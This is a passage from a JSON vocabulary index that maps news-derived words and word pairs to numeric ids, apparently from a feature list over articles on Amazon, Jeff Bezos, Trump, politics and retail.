114947,\n  \"guiding hand\": 114948,\n  \"fall ronan\": 114949,\n  \"country environment\": 114950,\n  \"failure\": 114951,\n  \"daycare fight\": 114952,\n  \"entitled president\": 114953,\n  \"beltway swamp\": 114954,\n  \"person thanks\": 114955,\n  \"scored big\": 114956,\n  \"tweet appeared\": 114957,\n  \"responder\": 114958,\n  \"software supports\": 114959,\n  \"outlet cnbc\": 114960,\n  \"symphony\": 114961,\n  \"27990\": 114962,\n  \"palantir\": 114963,\n  \"stock value\": 114964,\n  \"bezos hold\": 114965,\n  \"best life\": 114966,\n  \"immigration agenda\": 114967,\n  \"elisabeth calvarin\": 114968,\n  \"professed birtherism\": 114969,\n  \"brazil soy\": 114970,\n  \"sharief member\": 114971,\n  \"really getting\": 114972,\n  \"deaths vietnam\": 114973,\n  \"play big\": 114974,\n  \"unusual mixture\": 114975,\n  \"amicable tenor\": 114976,\n  \"energized democratic\": 114977,\n  \"impact major\": 114978,\n  \"better face\": 114979,\n  \"leafly\": 114980,\n  \"related conversations\": 114981,\n  \"pension issue\": 114982,\n  \"west oregon\": 114983,\n  \"shoppers\": 114984,\n  \"srclarge thumbimageelem\": 114985,\n  \"retailers nationwide\": 114986,\n  \"lower yesterday\": 114987,\n  \"help lessen\": 114988,\n  \"newly revised\": 114989,\n  \"obligations involved\": 114990,\n  \"plugging\": 114991,\n  \"mark weprin\": 114992,\n  \"direct control\": 114993,\n  \"status blaming\": 114994,\n  \"saykara\": 114995,\n  \"reality processes\": 114996,\n  \"road hanky\": 114997,\n  \"times cancer\": 114998,\n  \"reach wide\": 114999,\n  \"sourcecentury\": 115000,\n  \"wealth mngmt\": 115001,\n  \"federal labor\": 115002,\n  \"fellow brit\": 115003,\n  \"political grudge\": 115004,\n  \"imac\": 115005,\n  \"nahmias ocasio\": 115006,\n  \"paper embodies\": 115007,\n  \"demand uber\": 115008,\n  \"having bit\": 115009,\n  \"try reading\": 115010,\n  \"music reviews\": 115011,\n  \"fun place\": 115012,\n  \"exceeding r15\": 115013,\n  \"4044\": 115014,\n  \"infamous emails\": 115015,\n  \"started season\": 115016,\n  \"spirited marketplace\": 115017,\n  \"encore\": 115018,\n  \"fbiofficial\": 115019,\n  \"innovative solutions\": 115020,\n  \"run garofolo\": 115021,\n  \"intelligence algorithms\": 115022,\n  \"daily look\": 115023,\n  \"z8 m8i\": 115024,\n  \"grilling\": 115025,\n  \"session wall\": 115026,\n  \"service axios\": 115027,\n  \"amazon really\": 115028,\n  \"farrow claim\": 115029,\n  \"pirro judgejeanine\": 115030,\n  \"clever women\": 115031,\n  \"people wondered\": 115032,\n  \"crash george\": 115033,\n  \"postpone meeting\": 115034,\n  \"cherished\": 115035,\n  \"electronic markets\": 115036,\n  \"intraday view\": 115037,\n  \"cloud vet\": 115038,\n  \"blackmail revelations\": 115039,\n  \"primeday\": 115040,\n  \"digital public\": 115041,\n  \"postage products\": 115042,\n  \"towns won\": 115043,\n  \"independent vote\": 115044,\n  \"vain self\": 115045,\n  \"vhi announced\": 115046,\n  \"fully deserves\": 115047,\n  \"parcel volumes\": 115048,\n  \"nossies nangs\": 115049,\n  \"overdose\": 115050,\n  \"followers login\": 115051,\n  \"budget busting\": 115052,\n  \"media speaks\": 115053,\n  \"business launches\": 115054,\n  \"trump erictrump\": 115055,\n  \"just russia\": 115056,\n  \"device called\": 115057,\n  \"shitting\": 115058,\n  \"inspires\": 115059,\n  \"new language\": 115060,\n  \"photo speaks\": 115061,\n  \"month lapse\": 115062,\n  \"augured\": 115063,\n  \"la resistance\": 115064,\n  \"shoe orders\": 115065,\n  \"cause long\": 115066,\n  \"involved breach\": 115067,\n  \"building business\": 115068,\n  \"issue actually\": 115069,\n  \"aides requested\": 115070,\n  \"pundits\": 115071,\n  \"axios cited\": 115072,\n  \"beautiful thing\": 115073,\n  \"dead getting\": 115074,\n  \"fbi dossier\": 115075,\n  \"worsening row\": 115076,\n  \"china moon\": 115077,\n  \"3p fall\": 115078,\n  \"noted gene\": 115079,\n  \"handle antitrust\": 115080,\n  \"flying cars\": 115081,\n  \"punch\": 115082,\n  \"tightening monetary\": 115083,\n  \"fact getting\": 115084,\n  \"routers servers\": 115085,\n  \"investigating suspected\": 115086,\n  \"crime apps\": 115087,\n  \"bad better\": 115088,\n  \"amplifier\": 115089,\n  \"growth wealth\": 115090,\n  \"monetary support\": 115091,\n  \"bezos traditionally\": 115092,\n  \"purchase behavior\": 115093,\n  \"partner program\": 115094,\n  \"undervalued\": 115095,\n  \"ta huge\": 115096,\n  \"shun nike\": 115097,\n  \"compulsively focused\": 115098,\n  \"online marketplace\": 115099,\n  \"neal massachusetts\": 115100,\n  \"economic benefits\": 115101,\n  \"paulareidcbs\": 115102,\n  \"zing follows\": 115103,\n  \"greeter\": 115104,\n  \"bring thousands\": 115105,\n  \"success according\": 115106,\n  \"rekognition software\": 115107,\n  \"fortunes rose\": 115108,\n  \"time champion\": 115109,\n  \"large concentration\": 115110,\n  \"second amazon\": 115111,\n  \"dma readings\": 115112,\n  \"dr seuss\": 115113,\n  \"commentisfree 2017\": 115114,\n  \"economic fairness\": 115115,\n  \"rate think\": 115116,\n  \"riskier assets\": 115117,\n  \"key step\": 115118,\n  \"scene following\": 115119,\n  \"bharatiya janata\": 115120,\n  \"morgan ortagus\": 115121,\n  \"ge agrees\": 115122,\n  \"religious\": 115123,\n  \"content james\": 115124,\n  \"commonly refers\": 115125,\n  \"excoriations\": 115126,\n  \"working group\": 115127,\n  \"passed marijuana\": 115128,\n  \"tony dokoupil\": 115129,\n  \"harassment overall\": 115130,\n  \"dod recently\": 115131,\n  \"pennsylvania ave\": 115132,\n  \"shows copies\": 115133,\n  \"building 98point6\": 115134,\n  \"certified\": 115135,\n  \"writing josh\": 115136,\n  \"morning nasdaq\": 115137,\n  \"campaign observers\": 115138,\n  \"conditioners\": 115139,\n  \"kysar\": 115140,\n  \"germany donald\": 115141,\n  \"outside animal\": 115142,\n  \"onthe ground\": 115143,\n  \"diversified tru\": 115144,\n  \"wanted drug\": 115145,\n  \"ghogh\": 115146,\n  \"ranging phone\": 115147,\n  \"contemplating\": 115148,\n  \"shares gw\": 115149,\n  \"industry wide\": 115150,\n  \"mexican restaurant\": 115151,\n  \"distributing\": 115152,\n  \"yard bursts\": 115153,\n  \"retailers james\": 115154,\n  \"stores called\": 115155,\n  \"exports sent\": 115156,\n  \"e8 n2x\": 115157,\n  \"riling\": 115158,\n  \"damage amazon\": 115159,\n  \"confidant reveals\": 115160,\n  \"theft\": 115161,\n  \"crash kelly\": 115162,\n  \"reduce brazil\": 115163,\n  \"customers typically\": 115164,\n  \"earlier compares\": 115165,\n  \"apollo global\": 115166,\n  \"karen chan\": 115167,\n  \"certify\": 115168,\n  \"wider economic\": 115169,\n  \"generous local\": 115170,\n  \"dem\": 115171,\n  \"scams\": 115172,\n  \"deliberate effort\": 115173,\n  \"world countries\": 115174,\n  \"bezos talking\": 115175,\n  \"yuelai manager\": 115176,\n  \"heat itunes\": 115177,\n  \"valley ad\": 115178,\n  \"ward hammacher\": 115179,\n  \"gurnani kushal\": 115180,\n  \"elizabeth\": 115181,\n  \"peasants\": 115182,\n  \"garcia 415\": 115183,\n  \"648 shares\": 115184,\n  \"pressure congress\": 115185,\n  \"bezos rocks\": 115186,\n  \"previously sold\": 115187,\n  \"chronic conditions\": 115188,\n  \"engaged buying\": 115189,\n  \"extortion buzzfeed\": 115190,\n  \"crisis dominating\": 115191,\n  \"supply water\": 115192,\n  \"rural locations\": 115193,\n  \"bear president\": 115194,\n  \"regulatory commission\": 115195,\n  \"american body\": 115196,\n  \"policy story\": 115197,\n  \"gov floridaflu\": 115198,\n  \"nbc sitcom\": 115199,\n  \"business earned\": 115200,\n  \"amageddon\": 115201,\n  \"million unsuspecting\": 115202,\n  \"amazon protesters\": 115203,\n  \"saying repeatedly\": 115204,\n  \"escape check\": 115205,\n  \"position santos\": 115206,\n  \"favored dealmaking\": 115207,\n  \"secondary just\": 115208,\n  \"members concerns\": 115209,\n  \"huge incentive\": 115210,\n  \"bowl commercial\": 115211,\n  \"economic potential\": 115212,\n  \"entertaining interview\": 115213,\n  \"reason according\": 115214,\n  \"media criticism\": 115215,\n  \"statement supporters\": 115216,\n  \"lawsuit allegations\": 115217,\n  \"replenishment scheme\": 115218,\n  \"sees costs\": 115219,\n  \"athletic clothing\": 115220,\n  \"says walmart\": 115221,\n  \"suspend judgment\": 115222,\n  \"ibm federal\": 115223,\n  \"hosted birther\": 115224,\n  \"agricultural\": 115225,\n  \"unfavorable view\": 115226,\n  \"administration warns\": 115227,\n  \"getting head\": 115228,\n  \"issue does\": 115229,\n  \"search sure\": 115230,\n  \"attractive ken\": 115231,\n  \"party changes\": 115232,\n  \"repealed\": 115233,\n  \"followers claimed\": 115234,\n  \"filings\": 115235,\n  \"eats food\": 115236,\n  \"amazon arrival\": 115237,\n  \"effectively paid\": 115238,\n  \"introduced willy\": 115239,\n  \"titled morgan\": 115240,\n  \"federation declined\": 115241,\n  \"capital prns\": 115242,\n  \"european banks\": 115243,\n  \"impressed investors\": 115244,\n  \"pine tom\": 115245,\n  \"pmnts\": 115246,\n  \"hair raising\": 115247,\n  \"liked stranger\": 115248,\n  \"won offer\": 115249,\n  \"sprout\": 115250,\n  \"considered favorite\": 115251,\n  \"asean china\": 115252,\n  \"action europe\": 115253,\n  \"took dive\": 115254,\n  \"great dining\": 115255,\n  \"sold 70m\": 115256,\n  \"oval office\": 115257,\n  \"team stops\": 115258,\n  \"sjostrom\": 115259,\n  \"telemark asset\": 115260,\n  \"partys\": 115261,\n  \"as\\u0430first\": 115262,\n  \"sorce advisory\": 115263,\n  \"publication politico\": 115264,\n  \"parents used\": 115265,\n  \"kya clark\": 115266,\n  \"months dec\": 115267,\n  \"quantico\": 115268,\n  \"making tax\": 115269,\n  \"vicky cristina\": 115270,\n  \"globally distributed\": 115271,\n  \"biggest federal\": 115272,\n  \"report turned\": 115273,\n  \"trunk\": 115274,\n  \"k20\": 115275,\n  \"constantly heaped\": 115276,\n  \"media thought\": 115277,\n  \"american citizen\": 115278,\n  \"stark\": 115279,\n  \"talks beginning\": 115280,\n  \"year claiming\": 115281,\n  \"walmart target\": 115282,\n  \"digital advertising\": 115283,\n  \"travel join\": 115284,\n  \"gripe\": 115285,\n  \"hot cake\": 115286,\n  \"stephanie land\": 115287,\n  \"withdrawn\": 115288,\n  \"kings dom\": 115289,\n  \"banning books\": 115290,\n  \"anybody\": 115291,\n  \"massachusetts attorney\": 115292,\n  \"paulorwell1\": 115293,\n  \"struggles selling\": 115294,\n  \"potentially inappropriate\": 115295,\n  \"week tatler\": 115296,\n  \"large deduction\": 115297,\n  \"aggressively lobbied\": 115298,\n  \"memoir discusses\": 115299,\n  \"capitalization topped\": 115300,\n  \"deadline separately\": 115301,\n  \"2657635\": 115302,\n  \"weekly tabloid\": 115303,\n  \"based consumer\": 115304,\n  \"biden praising\": 115305,\n  \"zeppelin\": 115306,\n  \"member united\": 115307,\n  \"general warehousing\": 115308,\n  \"afford consultation\": 115309,\n  \"equalizer\": 115310,\n  \"media llc\": 115311,\n  \"knowledge does\": 115312,\n  \"microphone\": 115313,\n  \"wider antitrust\": 115314,\n  \"significant food\": 115315,\n  \"beg\": 115316,\n  \"final public\": 115317,\n  \"husemen\": 115318,\n  \"spokesperson raising\": 115319,\n  \"takedowns\": 115320,\n  \"judges rule\": 115321,\n  \"decentralized internet\": 115322,\n  \"bloomberg pointed\": 115323,\n  \"trump eye\": 115324,\n  \"provide disincentive\": 115325,\n  \"butt dials\": 115326,\n  \"upscale modern\": 115327,\n  \"rule previous\": 115328,\n  \"story super\": 115329,\n  \"intact\": 115330,\n  \"happened shares\": 115331,\n  \"debt load\": 115332,\n  \"reporter sinclair\": 115333,\n  \"federal procurement\": 115334,\n  \"support publicly\": 115335,\n  \"operate\": 115336,\n  \"chanted\": 115337,\n  \"companies accused\": 115338,\n  \"chaos minutes\": 115339,\n  \"mirror\": 115340,\n  \"cardboard box\": 115341,\n  \"just learned\": 115342,\n  \"toys topping\": 115343,\n  \"legislative leader\": 115344,\n  \"parcel prices\": 115345,\n  \"local reporting\": 115346,\n  \"platform users\": 115347,\n  \"india according\": 115348,\n  \"thedeputy\": 115349,\n  \"fossil remains\": 115350,\n  \"limbaugh banner\": 115351,\n  \"amazon online\": 115352,\n  \"followed quill\": 115353,\n  \"somewhat believable\": 115354,\n  \"suspicious brown\": 115355,\n  \"2019 jedi\": 115356,\n  \"drug pricing\": 115357,\n  \"idea having\": 115358,\n  \"tabloid star\": 115359,\n  \"private investigator\": 115360,\n  \"enjoy firing\": 115361,\n  \"trump applauds\": 115362,\n  \"theroux\": 115363,\n  \"becker refused\": 115364,\n  \"impersonating trump\": 115365,\n  \"including stronger\": 115366,\n  \"brand\": 115367,\n  \"colorful world\": 115368,\n  \"statement pushing\": 115369,\n  \"paris fashion\": 115370,\n  \"fund australia\": 115371,\n  \"eu sarl\": 115372,\n  \"days amazon\": 115373,\n  \"amazon alphabet\": 115374,\n  \"achieved\": 115375,\n  \"consumer data\": 115376,\n  \"keeping temperatures\": 115377,\n  \"bezos ms\": 115378,\n  \"turbulence\": 115379,\n  \"similar deal\": 115380,\n  \"policy right\": 115381,\n  \"say alexa\": 115382,\n  \"contents\": 115383,\n  \"longtime friends\": 115384,\n  \"heath\": 115385,\n  \"chris kleponis\": 115386,\n  \"withhold\": 115387,\n  \"justifiable reason\": 115388,\n  \"negotiations did\": 115389,\n  \"theory brandview\": 115390,\n  \"numerous prognosticators\": 115391,\n  \"earlier bezos\": 115392,\n  \"thedecision\": 115393,\n  \"forfeiture fund\": 115394,\n  \"print previous\": 115395,\n  \"nancy pollock\": 115396,\n  \"sweeping green\": 115397,\n  \"page mst\": 115398,\n  \"jim lo\": 115399,\n  \"clients included\": 115400,\n  \"ro khanna\": 115401,\n  \"customers american\": 115402,\n  \"shoppers logged\": 115403,\n  \"unceasing\": 115404,\n  \"psychiatric reasons\": 115405,\n  \"tweet minutes\": 115406,\n  \"500 protected\": 115407,\n  \"jlraqsdevf david\": 115408,\n  \"revivals erica\": 115409,\n  \"twitter president\": 115410,\n  \"labor nominee\": 115411,\n  \"segment maybe\": 115412,\n  \"board 2018\": 115413,\n  \"parents democrats\": 115414,\n  \"billions trump\": 115415,\n  \"point everybody\": 115416,\n  \"shopping behavior\": 115417,\n  \"review 2411390002\": 115418,\n  \"deals fiat\": 115419,\n  \"jobs economic\": 115420,\n  \"shelves unloading\": 115421,\n  \"particular environment\": 115422,\n  \"tweet reaction\": 115423,\n  \"columns america\": 115424,\n  \"key architect\": 115425,\n  \"democratic hopeful\": 115426,\n  \"satire trump\": 115427,\n  \"costco fell\": 115428,\n  \"usps welcome\": 115429,\n  \"blvd moya\": 115430,\n  \"161\": 115431,\n  \"aaron bernstein\": 115432,\n  \"latimes\": 115433,\n  \"post paper\": 115434,\n  \"make positive\": 115435,\n  \"relevant novel\": 115436,\n  \"little reason\": 115437,\n  \"walmart company\": 115438,\n  \"order worth\": 115439,\n  \"stage modest\": 115440,\n  \"dubbed frank\": 115441,\n  \"complex biological\": 115442,\n  \"rights happy\": 115443,\n  \"misclassification lawsuits\": 115444,\n  \"automatically leaves\": 115445,\n  \"consultant earlier\": 115446,\n  \"couple texts\": 115447,\n  \"survivors cruz\": 115448,\n  \"pena sullivan\": 115449,\n  \"report rising\": 115450,\n  \"major economic\": 115451,\n  \"poynter\": 115452,\n  \"going casual\": 115453,\n  \"fredric\": 115454,\n  \"voice customers\": 115455,\n  \"midge maisel\": 115456,\n  \"inexpensive ground\": 115457,\n  \"criticise\": 115458,\n  \"roller coaster\": 115459,\n  \"chinese commerce\": 115460,\n  \"officially gone\": 115461,\n  \"independent authority\": 115462,\n  \"street forecasts\": 115463,\n  \"deal requires\": 115464,\n  \"1994 film\": 115465,\n  \"cleaners\": 115466,\n  \"kavanaugh judicial\": 115467,\n  \"massachusetts based\": 115468,\n  \"antitrust claims\": 115469,\n  \"rapper\": 115470,\n  \"travel expenses\": 115471,\n  \"close family\": 115472,\n  \"payment glit\": 115473,\n  \"congressional black\": 115474,\n  \"bloomberg survey\": 115475,\n  \"lesser epa\": 115476,\n  \"bought amazon\": 115477,\n  \"subsistence farmers\": 115478,\n  \"clinton hillary\": 115479,\n  \"start according\": 115480,\n  \"cuts coming\": 115481,\n  \"congress created\": 115482,\n  \"mccain tells\": 115483,\n  \"including request\": 115484,\n  \"developing tv\": 115485,\n  \"brett kavanaugh\": 115486,\n  \"sam catlin\": 115487,\n  \"bipartisan temptation\": 115488,\n  \"kid christmas\": 115489,\n  \"j8i d8\": 115490,\n  \"speed round\": 115491,\n  \"congresswoman alexandria\": 115492,\n  \"robinson humphrey\": 115493,\n  \"billion left\": 115494,\n  \"builder brothers\": 115495,\n  \"currently projecting\": 115496,\n  \"origin founder\": 115497,\n  \"jennifer jacobs\": 115498,\n  \"abject\": 115499,\n  \"majority indicated\": 115500,\n  \"data available\": 115501,\n  \"significantly expanded\": 115502,\n  \"hikes peak\": 115503,\n  \"employees rely\": 115504,\n  \"remained comparatively\": 115505,\n  \"bbby\": 115506,\n  \"hq2 instead\": 115507,\n  \"earliest days\": 115508,\n  \"new small\": 115509,\n  \"latest news\": 115510,\n  \"post ownership\": 115511,\n  \"attempt acquiring\": 115512,\n  \"divorce getty\": 115513,\n  \"secret trump\": 115514,\n  \"coverage time\": 115515,\n  \"mumtaz\": 115516,\n  \"sf mayor\": 115517,\n  \"politicizing agencies\": 115518,\n  \"summit click\": 115519,\n  \"facetime\": 115520,\n  \"inequality inevitably\": 115521,\n  \"women brewer\": 115522,\n  \"convincing theory\": 115523,\n  \"mcallen\": 115524,\n  \"statements demands\": 115525,\n  \"drug enforcement\": 115526,\n  \"ticker aapl\": 115527,\n  \"putin president\": 115528,\n  \"gary kelly\": 115529,\n  \"smart correction\": 115530,\n  \"senior leadership\": 115531,\n  \"somalia airstrikes\": 115532,\n  \"dosari\": 115533,\n  \"nse\": 115534,\n  \"unseat president\": 115535,\n  \"says america\": 115536,\n  \"alcoa corp\": 115537,\n  \"runners mccain\": 115538,\n  \"singleton\": 115539,\n  \"greater resources\": 115540,\n  \"talks defender\": 115541,\n  \"sackheim\": 115542,\n  \"moderating\": 115543,\n  \"customers ironically\": 115544,\n  \"comey appointed\": 115545,\n  \"wolf hall\": 115546,\n  \"kim chose\": 115547,\n  \"sic feel\": 115548,\n  \"brought popular\": 115549,\n  \"smialowski newpaper24\": 115550,\n  \"diabolical attack\": 115551,\n  \"startup focused\": 115552,\n  \"properties watch\": 115553,\n  \"undisclosed price\": 115554,\n  \"ojeda\": 115555,\n  \"magalia\": 115556,\n  \"cancer patients\": 115557,\n  \"companies valuations\": 115558,\n  \"solid conservative\": 115559,\n  \"customer kyle\": 115560,\n  \"used state\": 115561,\n  \"stock rhode\": 115562,\n  \"particularly interested\": 115563,\n  \"salesforce\": 115564,\n  \"today claims\": 115565,\n  \"companies ceo\": 115566,\n  \"city unemployment\": 115567,\n  \"strategy benefits\": 115568,\n  \"trump great\": 115569,\n  \"affect trumpstore\": 115570,\n  \"avoided taking\": 115571,\n  \"10b\": 115572,\n  \"rekognition technology\": 115573,\n  \"viejo\": 115574,\n  \"study released\": 115575,\n  \"mean hit\": 115576,\n  \"maxsa makes\": 115577,\n  \"twelfth\": 115578,\n  \"international growth\": 115579,\n  \"recused\": 115580,\n  \"billionaire mackenzie\": 115581,\n  \"broad authority\": 115582,\n  \"location trump\": 115583,\n  \"faces showdown\": 115584,\n  \"dwi\": 115585,\n  \"preclude amazon\": 115586,\n  \"590\": 115587,\n  \"pinterest ipo\": 115588,\n  \"joins growing\": 115589,\n  \"objective\": 115590,\n  \"18f\": 115591,\n  \"frequently respond\": 115592,\n  \"global shipping\": 115593,\n  \"thewashington\": 115594,\n  \"chinese consulate\": 115595,\n  \"founder david\": 115596,\n  \"gushing\": 115597,\n  \"bros toad\": 115598,\n  \"pray\": 115599,\n  \"shuffling\": 115600,\n  \"accomplishing\": 115601,\n  \"desantis vice\": 115602,\n  \"effectively affirmed\": 115603,\n  \"investment summit\": 115604,\n  \"markupid fave\": 115605,\n  \"special discounts\": 115606,\n  \"single currency\": 115607,\n  \"conference simply\": 115608,\n  \"causing outrage\": 115609,\n  \"accommodate bezos\": 115610,\n  \"learns\": 115611,\n  \"tougher regulatory\": 115612,\n  \"contributed chapter\": 115613,\n  \"hq2 don\": 115614,\n  \"return students\": 115615,\n  \"particular pride\": 115616,\n  \"richard florida\": 115617,\n  \"foot tall\": 115618,\n  \"139 increase\": 115619,\n  \"new cbc\": 115620,\n  \"reaches\": 115621,\n  \"ceo hall\": 115622,\n  \"losing market\": 115623,\n  \"government accountable\": 115624,\n  \"allow kanter\": 115625,\n  \"fictional castle\": 115626,\n  \"committee led\": 115627,\n  \"victim killed\": 115628,\n  \"9jay9wndd8\": 115629,\n  \"trump growing\": 115630,\n  \"tennessee department\": 115631,\n  \"records widening\": 115632,\n  \"abusive behavior\": 115633,\n  \"absorption\": 115634,\n  \"long shifts\": 115635,\n  \"dressing room\": 115636,\n  \"typeof thumbimageelem\": 115637,\n  \"pass muster\": 115638,\n  \"pilot managed\": 115639,\n  \"traveling engagement\": 115640,\n  \"groups hate\": 115641,\n  \"cyberx efforts\": 115642,\n  \"buying merchandise\": 115643,\n  \"georgetown county\": 115644,\n  \"wealth makes\": 115645,\n  \"allowable\": 115646,\n  \"wwii airmen\": 115647,\n  \"political stripe\": 115648,\n  \"geekwire alan\": 115649,\n  \"airing\": 115650,\n  \"designation cause\": 115651,\n  \"synergy research\": 115652,\n  \"does biden\": 115653,\n  \"damianpaletta jdawsey1\": 115654,\n  \"child michael\": 115655,\n  \"onsite\": 115656,\n  \"bhel indian\": 115657,\n  \"000 trees\": 115658,\n  \"line did\": 115659,\n  \"probably noticed\": 115660,\n  \"shows demand\": 115661,\n  \"bedford\": 115662,\n  \"angerer leaders\": 115663,\n  \"vail\": 115664,\n  \"assistant bot\": 115665,\n  \"intelligence estimate\": 115666,\n  \"companies competing\": 115667,\n  \"sanchez called\": 115668,\n  \"fbi refusing\": 115669,\n  \"lebeau explains\": 115670,\n  \"nigh indestructible\": 115671,\n  \"black box\": 115672,\n  \"coolidge\": 115673,\n  \"source verge\": 115674,\n  \"imperils trump\": 115675,\n  \"new ceo\": 115676,\n  \"validates\": 115677,\n  \"superiority\": 115678,\n  \"utensil rest\": 115679,\n  \"best solution\": 115680,\n  \"phil bartlett\": 115681,\n  \"schoolstrike4climate\": 115682,\n  \"administers\": 115683,\n  \"warren releases\": 115684,\n  \"amazon coup\": 115685,\n  \"deadly blow\": 115686,\n  \"customers bartiromo\": 115687,\n  \"spanking\": 115688,\n  \"loup\": 115689,\n  \"ilhan omar\": 115690,\n  \"g7\": 115691,\n  \"ravi shanker\": 115692,\n  \"range instead\": 115693,\n  \"unaffected president\": 115694,\n  \"splitting hq2\": 115695,\n  \"members amazon\": 115696,\n  \"holdings proved\": 115697,\n  \"began covering\": 115698,\n  \"review section\": 115699,\n  \"states cheryl\": 115700,\n  \"emails display\": 115701,\n  \"garissa\": 115702,\n  \"enhanced services\": 115703,\n  \"mexico establishment\": 115704,\n  \"rafael espinal\": 115705,\n  \"saturdays\": 115706,\n  \"foes jeff\": 115707,\n  \"cuomo warned\": 115708,\n  \"celsius\": 115709,\n  \"published blockbuster\": 115710,\n  \"uber nextdoor\": 115711,\n  \"miranda priestly\": 115712,\n  \"campaign contribution\": 115713,\n  \"conjures\": 115714,\n  \"premiere hbo\": 115715,\n  \"handle packages\": 115716,\n  \"thieves especially\": 115717,\n  \"120\": 115718,\n  \"dhs systems\": 115719,\n  \"shipping offering\": 115720,\n  \"television writer\": 115721,\n  \"style princess\": 115722,\n  \"litigation fox\": 115723,\n  \"sprinkles\": 115724,\n  \"optimization site\": 115725,\n  \"long amzn\": 115726,\n  \"prevent company\": 115727,\n  \"injects living\": 115728,\n  \"critic bezos\": 115729,\n  \"companies user\": 115730,\n  \"harshly criticized\": 115731,\n  \"exist ex\": 115732,\n  \"geospatial\": 115733,\n  \"vaccines\": 115734,\n  \"leather canvas\": 115735,\n  \"better performance\": 115736,\n  \"libertarian themed\": 115737,\n  \"roy helped\": 115738,\n  \"computing home\": 115739,\n  \"booked\": 115740,\n  \"fully cooperate\": 115741,\n  \"finally revealed\": 115742,\n  \"disgruntled\": 115743,\n  \"pottsville native\": 115744,\n  \"initially marked\": 115745,\n  \"match interview\": 115746,\n  \"strong support\": 115747,\n  \"relentless pursuit\": 115748,\n  \"headliners\": 115749,\n  \"governing majority\": 115750,\n  \"different tone\": 115751,\n  \"null img_skyscraperref\": 115752,\n  \"negatively impacted\": 115753,\n  \"critics speculate\": 115754,\n  \"dominate significant\": 115755,\n  \"sanchez ended\": 115756,\n  \"rebecca kysar\": 115757,\n  \"textbook industry\": 115758,\n  \"extortion messages\": 115759,\n  \"administration defangs\": 115760,\n  \"historic skid\": 115761,\n  \"aggressively profiting\": 115762,\n  \"winning comic\": 115763,\n  \"mark publishing\": 115764,\n  \"nosed\": 115765,\n  \"anonymous bodies\": 115766,\n  \"davos stalwart\": 115767,\n  \"previously\": 115768,\n  \"increasingly mired\": 115769,\n  \"emergency management\": 115770,\n  \"martha mcsally\": 115771,\n  \"planning circling\": 115772,\n  \"crafting jedi\": 115773,\n  \"19th century\": 115774,\n  \"lower paid\": 115775,\n  \"pascal rossignol\": 115776,\n  \"treasury releases\": 115777,\n  \"american politicians\": 115778,\n  \"company claimed\": 115779,\n  \"unlike ebay\": 115780,\n  \"yards bancorp\": 115781,\n  \"jon bonn\\u00e9\": 115782,\n  \"judge approval\": 115783,\n  \"line vestager\": 115784,\n  \"allegations florida\": 115785,\n  \"panhandle bringing\": 115786,\n  \"viewer\": 115787,\n  \"speculation immediately\": 115788,\n  \"harper wave\": 115789,\n  \"bezos adventure\": 115790,\n  \"created videos\": 115791,\n  \"pose happens\": 115792,\n  \"main investigatory\": 115793,\n  \"spurred stock\": 115794,\n  \"occasion clearly\": 115795,\n  \"protestors turn\": 115796,\n  \"crime documentaries\": 115797,\n  \"loadedfully\": 115798,\n  \"shoplifters\": 115799,\n  \"bizarre pro\": 115800,\n  \"ohio billion\": 115801,\n  \"cuisine returns\": 115802,\n  \"writes president\": 115803,\n  \"center press\": 115804,\n  \"gbenga\": 115805,\n  \"allegations videocmsurl\": 115806,\n  \"marketplace growth\": 115807,\n  \"personal financial\": 115808,\n  \"xrt slumped\": 115809,\n  \"helpful commission\": 115810,\n  \"framed\": 115811,\n  \"marshall st\": 115812,\n  \"involve onewest\": 115813,\n  \"city restaurant\": 115814,\n  \"google tell\": 115815,\n  \"pence seated\": 115816,\n  \"companies james\": 115817,\n  \"140billion\": 115818,\n  \"wiping\": 115819,\n  \"d1a\": 115820,\n  \"7a says\": 115821,\n  \"exposed rough\": 115822,\n  \"claims covered\": 115823,\n  \"deciding factor\": 115824,\n  \"usps monopoly\": 115825,\n  \"progressive brothers\": 115826,\n  \"photo fortune\": 115827,\n  \"benefits military\": 115828,\n  \"playbook london\": 115829,\n  \"avoid increased\": 115830,\n  \"toughest\": 115831,\n  \"privacy civil\": 115832,\n  \"miller gregpmiller\": 115833,\n  \"new brexit\": 115834,\n  \"kavanaugh kavanaugh\": 115835,\n  \"fabricated\": 115836,\n  \"journalism politics\": 115837,\n  \"housing\": 115838,\n  \"sma\": 115839,\n  \"boeing ba\": 115840,\n  \"led amazon\": 115841,\n  \"trump rhetorical\": 115842,\n  \"mia\": 115843,\n  \"marketwatch poll\": 115844,\n  \"reader demand\": 115845,\n  \"recently topped\": 115846,\n  \"net 565\": 115847,\n  \"blue state\": 115848,\n  \"stocks rising\": 115849,\n  \"rain used\": 115850,\n  \"large file\": 115851,\n  \"old gods\": 115852,\n  \"began kneeling\": 115853,\n  \"issue yesterday\": 115854,\n  \"cars detroit\": 115855,\n  \"bipartisan legislative\": 115856,\n  \"stole 100\": 115857,\n  \"perla ferrar\": 115858,\n  \"entire preface\": 115859,\n  \"donald graham\": 115860,\n  \"vogel blogs\": 115861,\n  \"news anti\": 115862,\n  \"ivana trump\": 115863,\n  \"unwelcome message\": 115864,\n  \"causes homelessness\": 115865,\n  \"expand market\": 115866,\n  \"better argument\": 115867,\n  \"anne innocenzio\": 115868,\n  \"l9x p9x\": 115869,\n  \"rachel koning\": 115870,\n  \"composing\": 115871,\n  \"sponsor torched\": 115872,\n  \"jaynordlinger\": 115873,\n  \"45bil erased\": 115874,\n  \"wraps\": 115875,\n  \"geopolitical concerns\": 115876,\n  \"probably directly\": 115877,\n  \"inaugural christmas\": 115878,\n  \"materials included\": 115879,\n  \"stocks consider\": 115880,\n  \"airquality\": 115881,\n  \"bouncier hair\": 115882,\n  \"catch error\": 115883,\n  \"ap military\": 115884,\n  \"decision puts\": 115885,\n  \"2016 gawande\": 115886,\n  \"particularly important\": 115887,\n  \"barely noticed\": 115888,\n  \"rescue crews\": 115889,\n  \"chairman bezos\": 115890,\n  \"green deal\": 115891,\n  \"facebook executives\": 115892,\n  \"unsafe working\": 115893,\n  \"iraq oil\": 115894,\n  \"gym backpack\": 115895,\n  \"petulantly usually\": 115896,\n  \"square garden\": 115897,\n  \"wsgr wave\": 115898,\n  \"jewish refugees\": 115899,\n  \"elections bipartisan\": 115900,\n  \"registration portal\": 115901,\n  \"interconnectivity\": 115902,\n  \"dishonest way\": 115903,\n  \"identity correlates\": 115904,\n  \"blanket statement\": 115905,\n  \"united jetblue\": 115906,\n  \"offered insurance\": 115907,\n  \"claire denis\": 115908,\n  \"weather trade\": 115909,\n  \"year jeff\": 115910,\n  \"rams left\": 115911,\n  \"company praises\": 115912,\n  \"furiously\": 115913,\n  